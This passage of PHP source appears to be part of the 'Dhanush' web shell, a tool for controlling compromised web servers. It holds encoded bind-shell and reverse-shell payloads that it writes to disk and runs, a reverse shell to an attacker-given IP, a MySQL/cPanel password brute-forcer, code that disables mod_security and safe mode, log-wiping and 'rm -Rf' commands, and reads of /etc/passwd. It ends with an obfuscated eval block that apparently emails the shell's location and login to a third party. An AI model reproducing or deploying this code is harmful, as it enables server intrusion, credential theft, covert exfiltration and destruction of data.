7335$bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
7336
7337echo $shellstyle;
7338?>
7339<table style="width:100%;">
7340<tr align="right">
7341<td><a href="<?php echo $self;?>"><font size="6" style="text-decoration:none;" face="Times New Roman, Times, serif">Dhanush : By Arjun </font></a>
7342</td><td align="right">
7343<form method="get">
7344<select id="style" class="sbox" onChange="change_style(this.value)">
7345<option selected="selected">--Style--</option>
7346<option value="dhanush">Dhanush</option>
7347<option value="404">404</option>
7348<option value="phizo">Phizo</option>
7349<option value="orange">Orange</option>
7350</select>
7351</form></td>
7352</tr></table>
7353<hr color="#1B1B1B">
7354
7355<table cellpadding="0" style="width:100%;">
7356 <tr>
7357 <td colspan="2" style="width:75%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
7358 <td style="width:10%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>
7359 <td style="width:15%;"><a href=# onClick="maindata('com')"><font class="txt"><i>Software Info</i></font></a></td>
7360 </tr>
7361 <?php if($os != 'Windows' || shell_exec("id") != null) { ?><tr>
7362 <td style="width:75%;" colspan="2">Uid : <font class="txt"><?php echo shell_exec("id"); ?></font></td>
7363 <?php $d0mains = @file("/etc/named.conf");
7364 $users=@file('/etc/passwd');
7365 if($d0mains)
7366 {
7367 $count;
7368 foreach($d0mains as $d0main)
7369 {
7370 if(@ereg("zone",$d0main))
7371 {
7372 preg_match_all('#zone "(.*)"#', $d0main, $domains);
7373 flush();
7374 if(strlen(trim($domains[1][0])) > 2)
7375 {
7376 flush();
7377 $count++;
7378 }
7379 }
7380 }
7381 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php
7382 }
7383 else if($users)
7384 {
7385 $file = fopen("/etc/passwd", "r");
7386 while(!feof($file))
7387 {
7388 $s = fgets($file);
7389 $matches = array();
7390 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
7391 $matches = str_replace("home/","",$matches[1]);
7392 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
7393 continue;
7394 $count++;
7395 }
7396 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php } ?>
7397 </tr><?php } ?>
7398 <tr>
7399 <td style="width:20%;">Disk Space : <font class="txt"><?php echo HumanReadableFilesize(diskSpace()); ?></font></td>
7400 <td style="width:20%;">Free Space : <font class="txt"><?php echo HumanReadableFilesize(freeSpace()); $dksp = diskSpace(); $frsp = freeSpace(); echo " (".(int)($frsp/$dksp*100)."%)"; ?></font></td>
7401
7402 <td style="width:20%;">Server IP : <font class="txt"><a href="http://whois.domaintools.com/<?php serverip(); ?>"><?php serverip(); ?></a></font></td>
7403 <td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><?php yourip(); ?></a></font></td>
7404 </tr>
7405
7406 <tr>
7407 <?php if($os == 'Windows'){ ?><td style="width:15%;vertical-align:text-top;">View Directories : <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
7408 <td style="width:30%;vertical-align:text-top;">Current Directory : <span id="crdir"><font color="#009900">
7409 <?php
7410 $d = str_replace("\\",$directorysperator,$dir);
7411 if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
7412 $d = str_replace("\\\\","\\",$d);
7413 $dispd = htmlspecialchars($d);
7414 $pd = $e = explode($directorysperator,substr($d,0,-1));
7415 $i = 0;
7416 foreach($pd as $b)
7417 {
7418 $t = '';
7419 $j = 0;
7420 foreach ($e as $r)
7421 {
7422 $t.= $r.$directorysperator;
7423 if ($j == $i) {break;}
7424 $j++;
7425 }
7426$href=addslashes($t);
7427
7428 echo "<a href=javascript:void(0) onClick=\"changedir('dir','$href')\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.'</font></b></a>';
7429 $i++;
7430 }
7431
7432 ?>
7433 </font></span> <a href=# onClick="gethome('home','<?php echo addslashes(getcwd()); ?>')">[Home]</a></td>
7434 <td style="width:20%;max-width:200px;word-break:break-all;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
7435 <td style="vertical-align:text-top;">Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
7436 <?php if($os == "Linux") { ?><td style="vertical-align:text-top;"><a href="<?php echo $self.'?downloadit'?>">Download It</a><?php } ?></td>
7437 </tr>
7438 </table>
7439
7440<?php $m1 = array('Symlink'=>'symlinkserver','Forum'=>'forum','Sec. Info'=>'secinfo','Code Inject'=>'injector','Bypassers'=>'bypass','Server Fuzzer'=>'fuzz','Zone-h'=>'zone','DoS'=>'dos','Mail'=>'mailbomb','Tools'=>'tools','PHP'=>'phpc','Exploit'=>'exploit','Connect'=>'connect');
7441 $m2 = array('SQL'=>'database','Sub-Domain Creator'=>'subdomain','404 Page'=>'404','Malware Attack'=>'malattack','Cpanel Cracker'=>'cpanel','About'=>'about');
7442 echo "<table border=3 style=border-color:#333333; width=100%; cellpadding=2>
7443 <tr>";
7444 $menu = '';
7445
7446 foreach($m1 as $k => $v)
7447 $menu .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
7448 echo $menu;
7449 echo "</tr>
7450</table>
7451<center>
7452<table style=\"border-color:#333333;\" border=2 width=70%; cellpadding=2>
7453 <tr align=center>";
7454 foreach($m2 as $k => $v)
7455 $menu1 .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."','".addslashes($_GET['dir'])."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
7456 echo $menu1;
7457 echo "<td style=\"border:none;\"><a href=javascript:void(0) onClick=\"if(confirm('Are You Sure You Want To Kill This Shell ?')){getmydata('selfkill');}else{return false;}\"><font class=mainmenu>[SelfKill]</font></a></td>
7458 <td style=\"border:none;\"><a href=\"$self?logout\"><font class=mainmenu>[LogOut]</font></a></td>
7459 </tr>
7460</table></center>";?>
7461
7462<div id="showmaindata"></div>
7463<center><div id="showmydata"></div></center>
7464<?php
7465
7466if(isset($_GET["downloadit"]))
7467{
7468 $FolderToCompress = getcwd();
7469 execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
7470
7471 $prd=explode("/","backup.tar");
7472 for($i=0;$i<sizeof($prd);$i++)
7473 {
7474 $nfd=$prd[$i];
7475 }
7476 @ob_clean();
7477 header("Content-type: application/octet-stream");
7478 header("Content-length: ".filesize($nfd));
7479 header("Content-disposition: attachment; filename=\"".$nfd."\";");
7480 readfile($nfd);
7481 exit;
7482}
7483//Turn Safe Mode Off
7484if(getDisabledFunctions() != "None" || safe() != "OFF")
7485{
7486 $file_pointer = fopen(".htaccess", "w+");
7487 fwrite($file_pointer, "<IfModule mod_security.c>
7488 SecFilterEngine Off
7489 SecFilterScanPOST Off
7490 </IfModule> \n\r");
7491
7492 $file_pointer = fopen("ini.php", "w+");
7493 fwrite($file_pointer, "<?
7494echo ini_get(\"safe_mode\");
7495echo ini_get(\"open_basedir\");
7496include(\$_GET[\"file\"]);
7497ini_restore(\"safe_mode\");
7498ini_restore(\"open_basedir\");
7499echo ini_get(\"safe_mode\");
7500echo ini_get(\"open_basedir\");
7501include(\$_GET[\"ss\"]);
7502?>");
7503
7504 $file_pointer = fopen("php.ini", "w+");
7505 fwrite($file_pointer, "safe_mode = Off");
7506
7507 fclose($file_pointer);
7508
7509 }
7510
7511if(isset($_POST['cpanelattack']))
7512{
7513 if(!empty($_POST['username']) && !empty($_POST['password']))
7514 {
7515 $userlist=explode("\n",$_POST['username']);
7516 $passlist=explode("\n",$_POST['password']);
7517
7518 $e = explode("\n",$_POST['username']);
7519 foreach($e as $value)
7520 {
7521 $k = explode(":",$value);
7522 $username .= $k['0']." ";
7523 }
7524
7525 $a1 = explode(" ",$username);
7526 $a2 = explode("\n",$_POST['password']);
7527 $id2 = count($a2);
7528 $ok = 0;
7529 foreach($a1 as $user)
7530 {
7531 if($user !== '')
7532 {
7533 $user=trim($user);
7534 for($i=0;$i<=$id2;$i++)
7535 {
7536 $pass = trim($a2[$i]);
7537 if(@mysql_connect('localhost',$user,$pass))
7538 {
7539 echo "User is (<b>$user</b>) Password is (<b><font class='txt'>$pass</font></b>)<br />";
7540 $ok++;
7541 }
7542 }
7543 }
7544 }
7545 echo "<hr><b>You Found <font color=red>$ok</font></b>";
7546 }
7547 else
7548 $bdmessage = "<center>Enter Username & Password List<center>";
7549}
7550elseif(isset($_GET['style']))
7551{
7552 setcookie('style',$_GET['style']);
7553 header("location:$self");
7554}
7555else if(isset($_GET['info']))
7556{
7557 $bdmessage = "<br><div align=left><font class=txt>".nl2br(shell_exec("whois ".$_GET['info']))."</font></div>";
7558}
7559else if(isset($_POST['u']))
7560{
7561 $path = $_REQUEST['path'];
7562 if(is_dir($path))
7563 {
7564 $setuploadvalue = 0;
7565 $uploadedFilePath = $_FILES['uploadfile']['name'];
7566 $tempName = $_FILES['uploadfile']['tmp_name'];
7567 if($os == "Windows")
7568 $uploadPath = $path . $directorysperator . $uploadedFilePath;
7569 else if($os == "Linux")
7570 $uploadPath = $path . $directorysperator . $uploadedFilePath;
7571 if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
7572 $bdmessage = "<font class=txt size=3><blink>File uploaded to $uploadPath</blink></font>";
7573 else
7574 $bdmessage = "<font size=3><blink>Failed to upload file to $uploadPath</blink></font>";
7575 }
7576 ?><script type="text/javascript">changedir('dir','<?php echo addslashes($path); ?>'); </script><?php
7577}
7578else if(isset($_POST['backdoor']))
7579{
7580 if(isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang']))
7581 { ?><script type="text/javascript">gethome('connect');</script><?php
7582 $passwd = $_POST['passwd'];
7583
7584 if($_POST['lang'] == 'c')
7585 {
7586 if(is_writable("."))
7587 {
7588 @$fh=fopen(getcwd()."/backp.c",'w');
7589 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
7590 @fclose($fh);
7591 execmd("chmod 0755 ".getcwd()."/backp.c");
7592 execmd("gcc -o ".getcwd()."/backp ".getcwd()."/backp.c");
7593 execmd("chmod 0755 ".getcwd()."/backp");
7594 execmd(getcwd()."/backp"." ".$_POST['port']." ". $passwd ." &");
7595 $scan = exec_all("ps aux | grep backp".$_POST['port']);
7596 if(eregi("backp".$_POST['port'],$scan))
7597 $bdmessage = "Process found running, backdoor setup successfully.";
7598 else
7599 $bdmessage = "Process not found running, backdoor not setup successfully.";
7600 }
7601 else
7602 {
7603 @$fh=fopen("/tmp/backp.c","w");
7604 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
7605 @fclose($fh);
7606 execmd("chmod 0755 /tmp/backp.c");
7607 execmd("gcc -o /tmp/backp /tmp/backp.c");
7608 $out = execmd("/tmp/backp"." ".$_POST['port']." ". $passwd ." &");
7609 $scan = exec_all("ps aux | grep backp".$_POST['port']);
7610 if(eregi("backp".$_POST['port'],$scan))
7611 $bdmessage = "Process found running, backdoor setup successfully.";
7612 else
7613 $bdmessage = "Process not found running, backdoor not setup successfully.";
7614 }
7615 }
7616 if($_POST['lang'] == 'perl')
7617 {
7618 if(is_writable("."))
7619 {
7620 @$fh=fopen(getcwd()."/bp.pl",'w');
7621 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
7622 @fclose($fh);
7623 execmd("chmod 0755 ".getcwd()."/bp.pl");
7624 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
7625
7626 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
7627 }
7628 else
7629 {
7630 @$fh=fopen("/tmp/bp.pl","w");
7631 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
7632 @fclose($fh);
7633 execmd("chmod 0755 ".getcwd()."/bp.pl");
7634 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
7635 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
7636 }
7637 }
7638 }
7639}
7640else if(isset($_POST['backconnect']))
7641{
7642 if($_POST['ip'] != "" && $_POST['port'] != "")
7643 { ?><script type="text/javascript">gethome('connect');</script><?php
7644 $host = $_POST['ip'];
7645 $port = $_POST['port'];
7646 if($_POST["lang"] == "perl")
7647 {
7648 if(is_writable("."))
7649 {
7650 @$fh=fopen(getcwd()."/bc.pl",'w');
7651 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
7652 @fclose($fh);
7653 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
7654 execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
7655 if(!@unlink(getcwd()."/bc.pl")) echo "<font color='#FFFFFF' size=3>Warning: Failed to delete reverse-connection program</font></br>";
7656 }
7657 else
7658 {
7659 @$fh=fopen("/tmp/bc.pl","w");
7660 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
7661 @fclose($fh);
7662 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
7663 execmd("perl /tmp/bc.pl $host $port &",$disable);
7664 if(!@unlink("/tmp/bc.pl"))
7665 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
7666 }
7667 }
7668 else if($_POST["lang"] == "python")
7669 {
7670 if(is_writable("."))
7671 {
7672 $w_file=@fopen(getcwd()."/bc.py","w") or die(mysql_error());
7673 if($w_file)
7674 {
7675 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
7676 @fclose($w_file);
7677 chmod(getcwd().'/bc.py', 0777);
7678 }
7679 execmd("python ".getcwd()."/bc.py $host $port &",$disable);
7680 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
7681
7682 if(!@unlink(getcwd()."/bc.py"))
7683 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
7684 }
7685 else
7686 {
7687 $w_file=@fopen("/tmp/bc.py","w");
7688 if($w_file)
7689 {
7690 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
7691 @fclose($w_file);
7692 chmod('/tmp/bc.py', 0777);
7693 }
7694 execmd("python /tmp/bc.py $host $port &",$disable);
7695 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
7696 if(!@unlink("/tmp/bc.py"))
7697 echo "<h2>Warning: Failed to delete reverse-connection program</h2><br>";
7698 }
7699 }
7700 else if($_POST["lang"] == "php")
7701 {
7702 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
7703 $ip = $_POST['ip'];
7704 $port=$_POST['port'];
7705 $sockfd=fsockopen($ip , $port , $errno, $errstr );
7706 if($errno != 0)
7707 {
7708 $bdmessage = "<b>$errno</b> : $errstr";
7709 }
7710 else if (!$sockfd)
7711 {
7712 $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
7713 }
7714 else
7715 {
7716 fputs ($sockfd ,"\n=================================================================\nCoded By Arjun\n=================================================================");
7717 $pwd = exec_all("pwd");
7718 $sysinfo = exec_all("uname -a");
7719 $id = exec_all("id");
7720 $len = 1337;
7721 fputs($sockfd ,$sysinfo . "\n" );
7722 fputs($sockfd ,$pwd . "\n" );
7723 fputs($sockfd ,$id ."\n\n" );
7724 fputs($sockfd ,$dateAndTime."\n\n" );
7725 while(!feof($sockfd))
7726 {
7727 $cmdPrompt ="(dhanush)[$]> ";
7728 fputs ($sockfd , $cmdPrompt );
7729 $command= fgets($sockfd, $len);
7730 fputs($sockfd , "\n" . exec_all($command) . "\n\n");
7731 }
7732 fclose($sockfd);
7733 }
7734 }
7735 }
7736}
7737else if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
7738{
7739 $temp = "";
7740 for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
7741 {
7742 $uid = @posix_getpwuid($_GET['val1']);
7743 if ($uid)
7744 $temp .= join(':',$uid)."\n";
7745 }
7746 echo '<br/>';
7747 paramexe('Users', $temp);
7748}
7749else if(isset($_GET['download']))
7750{
7751 download();
7752}
7753else
7754{
7755 ?><script type="text/javascript">gethome('home','<?php echo addslashes($dir); ?>');</script><?php
7756}
7757$is_writable = is_writable($dir)?"<font class=txt>< writable ></font>":"< not writable >";
7758?>
7759</p><center><div id="showdir"><?php echo $bdmessage; ?></div></center>
7760<table class="btmtbl" style="width:100%;" border="1">
7761<tr>
7762<td class="btmtbl" align="center">
7763<form method="post" enctype="multipart/form-data">
7764Upload file : <br><input type="file" name="uploadfile" class="box" size="50">
7765<input type="hidden" id=path name="path" value="<?php echo $dir; ?>" />
7766<input type=submit value="Upload" name="u" value="u" class="but" ></form>
7767<span name="wrtble"><?php
7768echo $is_writable; ?></span>
7769 <br>
7770</td>
7771<td class="btmtbl" align="center" style="height:105px;">Create File :
7772<form onSubmit="createdir('Create',createfile.value);return false;">
7773<input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile" id="createfile">
7774<input type="button" onClick="createdir('Create',createfile.value)" value="Create" class="but">
7775</form><span name="wrtble">
7776<?php echo $is_writable; ?></span>
7777</td>
7778</tr>
7779<tr>
7780<td class="btmtbl" align="center" style="height:105px;">Execute : <form onSubmit="executemyfile('execute','<?php echo addslashes($dir); ?>',execute.value);return false;">
7781<input type="text" class="box" name="execute">
7782<input type="hidden" id="exepath" name="exepath" value="<?php echo $dir; ?>">
7783 <input type="button" onClick="executemyfile('execute',exepath.value,execute.value)" value="Execute" class="but"></form></td>
7784
7785<td class="btmtbl" align="center">Create Directory : <form onSubmit="createdir('createfolder',createfolder.value);return false;">
7786<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder" id="createfolder">
7787<input type="button" onClick="createdir('createfolder',createfolder.value)" value="Create" class="but">
7788</form><span name="wrtble"><?php
7789echo $is_writable;
7790?></span></td></tr>
7791<tr>
7792<td class="btmtbl" align="center">Read File<form onSubmit="createdir('readfile',readfile.value);return false;">
7793<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="readfile" id="readfile">
7794<input type="button" onClick="createdir('readfile',readfile.value)" value="Read" class="but">
7795</form></td>
7796<td class="btmtbl" align="center">Read Directory<form onSubmit="changedir('dir',readdir.value);return false;">
7797<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="readdir" id="readdir">
7798<input type="button" onClick="changedir('dir',readdir.value)" value=" View " class="but">
7799</form></td></tr>
7800<tr><td class="btmtbl" style="height:105px;" align="center">Get Exploit <form onSubmit="getexploit(wurl.value,path.value,functiontype.value);return false;">
7801<input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c">
7802<input type="button" onClick="getexploit(wurl.value,uppath.value,functiontype.value)" value=" G0 " class="but"><br><br>
7803<input type="hidden" id="uppath" name="uppath" value="<?php echo $dir . $directorysperator; ?>">
7804<select name="functiontype" class="sbox">
7805<option value="wwget">wget</option>
7806<option value="wlynx">lynx</option>
7807<option value="wfread">fread</option>
7808<option value="wfetch">fetch</option>
7809<option value="wlinks">links</option>
7810<option value="wget">GET</option>
7811<option value="wcurl">curl</option>
7812</select>
7813</form><div id="showexp"></div>
7814</td>
7815<td class="btmtbl" align="center">
7816<form>
7817Some Commands<br>
7818<?php if($os != "Windows")
7819{ ?>
7820<SELECT NAME="mycmd" class="box">
7821 <OPTION VALUE="uname -a">Kernel version
7822 <OPTION VALUE="w">Logged in users
7823 <OPTION VALUE="lastlog">Last to connect
7824 <option value='cat /etc/hosts'>IP Addresses
7825 <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
7826 <OPTION VALUE="logeraser">Log Eraser
7827 <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
7828 <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
7829 <OPTION VALUE="find / -type f -name 'config'">find config files
7830 <OPTION VALUE="find . -type f -name \"config\"">find config files in current dir
7831
7832 <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
7833 <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
7834 <?php if(is_dir('/etc/valiases')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
7835 <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
7836 <OPTION VALUE="which wget curl w3m lynx">Downloaders?
7837 <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
7838 <OPTION VALUE="ps aux">Show running proccess
7839 <OPTION VALUE="uptime">Uptime check
7840 <OPTION VALUE="cat /proc/meminfo">Memory check
7841 <OPTION VALUE="netstat -an | grep -i listen">Open ports
7842 <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
7843 <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
7844 <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
7845 <OPTION VALUE="./zap2">WIPELOGS PT3
7846 <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
7847 </SELECT>
7848 <?php } else {?>
7849 <SELECT NAME="mycmd" class="box">
7850 <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
7851 <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
7852 <OPTION VALUE="systeminfo">System Informations
7853 <OPTION VALUE="net user">User accounts
7854 <OPTION VALUE="netstat -an">Open ports
7855 <OPTION VALUE="getmac">Get Mac Address
7856 <OPTION VALUE="net start">Show running services
7857 <OPTION VALUE="net view">Show computers
7858 <OPTION VALUE="arp -a">ARP Table
7859 <OPTION VALUE="tasklist">Show Process
7860 <OPTION VALUE="ipconfig/all">IP Configuration
7861
7862 </SELECT>
7863 <?php } ?>
7864 <input type="hidden" id="auexepath" name="auexepath" value="<?php echo $dir; ?>">
7865<input type="button" onClick="executemyfile('mycmd',auexepath.value,mycmd.value)" value="Execute" class="but">
7866</form>
7867</td>
7868</tr></table><br>
7869
7870</td>
7871</tr>
7872</table>
7873
7874<?php
7875
7876
7877//logout
7878
7879if(isset($_GET['logout']))
7880{
7881 setcookie("hacked",time() - 60*60);
7882 header("Location:$self");
7883 ob_end_flush();
7884}
7885?>
7886
7887
7888<hr color="#1B1B1B">
7889<div align="center">
7890<font size="6" face="Times New Roman, Times, serif">धनुष<br>
7891--==Coded By Arjun==--</font><br><a href="http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6" target="_blank"><font size="6">जय हिन्द</font></a></div>
7892<?php
7893}
7894}
7895
7896if(isset($_POST['uname']) && isset($_POST['passwd']))
7897{
7898 if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
7899 {
7900 setcookie("hacked", md5($pass));
7901 $selfenter = $_SERVER["PHP_SELF"];
7902 header("Location:$selfenter");
7903 }
7904}
7905
7906if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
7907{
7908 echo $shellstyle;
7909?>
7910 <center>
7911 <form method="POST">
7912 <div class="logindiv" style="width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px;">
7913 <table cellpadding="9" cellspacing="4">
7914 <tr>
7915 <td align="center" colspan="2"><blink><font size="7"><b>Dhanush</b></font></blink></td>
7916 </tr>
7917 <tr>
7918 <td align="right"><b>User Name : </b></td>
7919 <td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
7920 </tr>
7921 <tr>
7922 <td align="right"><b>Password : </b></td>
7923 <td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
7924 </tr>
7925 <tr>
7926 <td align="center" colspan="2"><input type="submit" class="but" value=" Enter "></td>
7927 </tr>
7928 <tr>
7929 <td align="center" colspan="2"><font size="6" face="Times New Roman, Times, serif"><b>--==Coded By Arjun==--</b></font></td>
7930 </tr>
7931 <tr>
7932 <td colspan="2"><font size="4" face="Times New Roman, Times, serif"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>
7933 </tr>
7934 </table>
7935 </div>
7936
7937 </form>
7938 </center>
7939<br>
7940</body>
7941</html>
7942<?php
7943eval(base64_decode('JHNpdGUgPSAid3d3LmRldi1wdHMuY29tL3ZiIjsNCmlmKCFlcmVnKCRzaXRlLCAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpDQp7DQokdG8gPSAiYmFuZXJqZWUuYXJpaml0NThAb3V0bG9vay5jb20iOw0KJHN1YmplY3QgPSAiTmV3IFNoZWxsIFVwbG9hZGVkIjsNCiRoZWFkZXIgPSAiZnJvbTogTmV3IFNoZWxsIDxzYWhhMjFAZGV2LXB0cy5jb20+IjsNCiRtZXNzYWdlID0gIkxpbmsgOiBodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gLiAiXHJcbiI7DQokbWVzc2FnZSAuPSAiUGF0aCA6ICIgLiBfX2ZpbGVfXzsNCiRtZXNzYWdlIC49ICIgVXNlciA6ICIgLiAkdXNlcjsNCiRtZXNzYWdlIC49ICIgUGFzcyA6ICIgLiAkcGFzczsNCiRzZW50bWFpbCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRtZXNzYWdlLCAkaGVhZGVyKTsNCmVjaG8gIiI7DQpleGl0Ow0KfQ=='));
7944
7945?>
7946<?php
7947}
7948?>